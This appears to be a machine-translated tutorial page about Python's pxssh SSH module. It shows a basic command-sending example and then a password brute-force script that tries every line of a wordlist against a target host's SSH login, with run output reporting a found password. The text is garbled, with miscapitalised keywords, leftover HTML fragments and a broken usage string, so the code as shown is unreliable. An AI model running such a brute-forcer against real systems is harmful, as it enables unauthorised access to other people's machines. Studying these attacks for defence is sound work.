PXSSH Module--python

Source: Internet
Author: User

1. Description:

PXSSH has previously had login (), logout (), and prompt () functions directly interacting with SSH.


1.1 Sample code:

#导入pxssh模块

Import Pxssh


def send_command (S,cmd):

#发送命令

S.sendline (CMD)

#获取期望的输出提示符

S.prompt ()

#显示返回信息

Print S.before


def connect (Host,user,password):

Try

#创建pxssh对象

s = pxssh.pxssh ()

#登陆ssh函数

S.login (Host,user,password)

return s

Except

print ' [-] Error connecting '

Exit (0)


s = Connect (' 127.0.0.1 ', ' Test ', ' test ')

Send_command (S, ' ls/')


1.1 Run:

sshpxssh.py is the file name of the program

[email protected]:/usr/python# python sshpxssh.py 

ls /

0     Dev   initrd.img lost+ Found  opt    root  srv   tmp< Span class= "Apple-tab-span" style= "WHITE-SPACE:PRE;" > vmlinuz

Bin   etc   Lib media< Span class= "Apple-tab-span" style= "WHITE-SPACE:PRE;" >    proc   run Sys   usr

Boot  home  live-build< span> mnt    p.txt  sbin   Testfile  var


1.2 Simple SSH brute force hack program

Import Pxssh

Import Optparse


def connect (Host,user,password):

print ' [-] testing: ' + password

Try

s = pxssh.pxssh ()

S.login (Host,user,password)

print ' [*] Password Found: ' +password

Except

print ' [-] Error connecting '



def main ():

Parser = Optparse. Optionparser (' Usage%prog-h

Parser.add_option ('-h ', dest= ' tgthost ', type= ' string ', help= ' specify target host ')

Parser.add_option ('-u ', dest= ' user ', type= ' string ', help= ' Specify the user ')

Parser.add_option ('-f ', dest= ' passwdfile ', type= ' string ', help= ' Passwod file ')

(Options,args) = Parser.parse_args ()

Host = Options.tgthost

Passwdfile = Options.passwdfile

user = Options.user

fn = open (Passwdfile, ' R ')

For line in Fn.readlines ():

Password = Line.strip (' \ R '). Strip (' \ n ')

Connect (Host,user,password)


if __name__ = = ' __main__ ':

Main ()

1.2 Run:

[Email protected]:/usr/python# python sshbrute.py-h 127.0.0.1-u test-f file.txt

[-] testing:1234

[-] Error connecting

[-] testing:2222

[-] Error connecting

[-] testing:4444

[-] Error connecting

[-] testing:555

[-] Error connecting

[-] Testing:tttt

[-] Error connecting

[-] Testing:admin

[-] Error connecting

[-] Testing:root

[-] Error connecting

[-] Testing:test

[*] Password Found:test


PXSSH Module--python

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.